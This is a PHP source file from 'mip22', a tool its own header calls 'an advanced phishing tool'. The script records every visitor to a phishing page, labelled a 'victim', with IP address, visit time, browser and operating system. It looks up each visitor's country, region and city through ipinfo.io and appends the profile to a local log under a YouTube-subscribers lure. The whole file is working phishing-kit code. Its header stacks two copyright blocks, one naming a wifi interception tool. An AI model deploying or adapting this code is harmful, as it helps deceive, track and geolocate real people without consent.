fingerprints.php 4.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130
  1. <?php
  2. /*
  3. * Copyright (c) 2019-2020 Barchampas Gerasimos <makindosxx@gmail.com>.
  4. * proxior is a wifi interception.
  5. *
  6. /*
  7. * Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
  8. * mip22 is a advanced phishing tool.
  9. *
  10. * mip22 is free software: you can redistribute it and/or modify
  11. * it under the terms of the GNU Affero General Public License as published by
  12. * the Free Software Foundation, either version 3 of the License, or
  13. * (at your option) any later version.
  14. *
  15. * mip22 is distributed in the hope that it will be useful,
  16. * but WITHOUT ANY WARRANTY; without even the implied warranty of
  17. * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  18. * GNU Affero General Public License for more details.
  19. *
  20. * You should have received a copy of the GNU Affero General Public License
  21. * along with this program. If not, see <http://www.gnu.org/licenses/>.
  22. *
  23. */
  24. // Set File write informations
  25. $file = "fingerprints.txt";
  26. // Get Full date of victim visit
  27. $full_date = date("d-m-Y h:i:s");
  28. // Get Victim IP
  29. if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
  30. $ip = $_SERVER['HTTP_CLIENT_IP'];
  31. } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  32. $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  33. } else {
  34. $ip = $_SERVER['REMOTE_ADDR'];
  35. }
  36. // Get Victim Browser
  37. $browser = $_SERVER['HTTP_USER_AGENT'];
  38. // Get Victim Os System
  39. function get_operating_system() {
  40. $u_agent = $_SERVER['HTTP_USER_AGENT'];
  41. $operating_system = 'Unknown Operating System';
  42. //Get the operating_system name
  43. if (preg_match('/linux/i', $u_agent)) {
  44. $operating_system = 'Linux';
  45. } elseif (preg_match('/macintosh|mac os x|mac_powerpc/i', $u_agent)) {
  46. $operating_system = 'Mac';
  47. } elseif (preg_match('/windows|win32|win98|win95|win16/i', $u_agent)) {
  48. $operating_system = 'Windows';
  49. } elseif (preg_match('/ubuntu/i', $u_agent)) {
  50. $operating_system = 'Ubuntu';
  51. } elseif (preg_match('/iphone/i', $u_agent)) {
  52. $operating_system = 'IPhone';
  53. } elseif (preg_match('/ipod/i', $u_agent)) {
  54. $operating_system = 'IPod';
  55. } elseif (preg_match('/ipad/i', $u_agent)) {
  56. $operating_system = 'IPad';
  57. } elseif (preg_match('/android/i', $u_agent)) {
  58. $operating_system = 'Android';
  59. } elseif (preg_match('/blackberry/i', $u_agent)) {
  60. $operating_system = 'Blackberry';
  61. } elseif (preg_match('/webos/i', $u_agent)) {
  62. $operating_system = 'Mobile';
  63. }
  64. return $operating_system;
  65. }
  66. $os_system = get_operating_system();
  67. // Get Victim Geolocation Info
  68. function get_client_ip()
  69. {
  70. $ipaddress = '';
  71. if (isset($_SERVER['HTTP_CLIENT_IP'])) {
  72. $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
  73. } else if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  74. $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
  75. } else if (isset($_SERVER['HTTP_X_FORWARDED'])) {
  76. $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
  77. } else if (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
  78. $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
  79. } else if (isset($_SERVER['HTTP_FORWARDED'])) {
  80. $ipaddress = $_SERVER['HTTP_FORWARDED'];
  81. } else if (isset($_SERVER['REMOTE_ADDR'])) {
  82. $ipaddress = $_SERVER['REMOTE_ADDR'];
  83. } else {
  84. $ipaddress = 'UNKNOWN';
  85. }
  86. return $ipaddress;
  87. }
  88. $PublicIP = get_client_ip();
  89. $json = file_get_contents("http://ipinfo.io/$PublicIP/geo");
  90. $json = json_decode($json, true);
  91. $country = $json['country'];
  92. $region = $json['region'];
  93. $city = $json['city'];
  94. file_put_contents($file, print_r("\nYOUTUBE SUBS VICTIM FINGERPRINTS => Informations \n", true), FILE_APPEND);
  95. file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
  96. file_put_contents($file, print_r("IP: $ip \n", true), FILE_APPEND);
  97. file_put_contents($file, print_r("Full-Date: $full_date \n", true), FILE_APPEND);
  98. file_put_contents($file, print_r("Country: $country \n", true), FILE_APPEND);
  99. file_put_contents($file, print_r("Region: $region \n", true), FILE_APPEND);
  100. file_put_contents($file, print_r("City: $city \n", true), FILE_APPEND);
  101. file_put_contents($file, print_r("User-Agent: $browser \n", true), FILE_APPEND);
  102. file_put_contents($file, print_r("OS-System: $os_system \n", true), FILE_APPEND);
  103. file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
  104. file_put_contents($file, print_r("\n", true), FILE_APPEND);
  105. ?>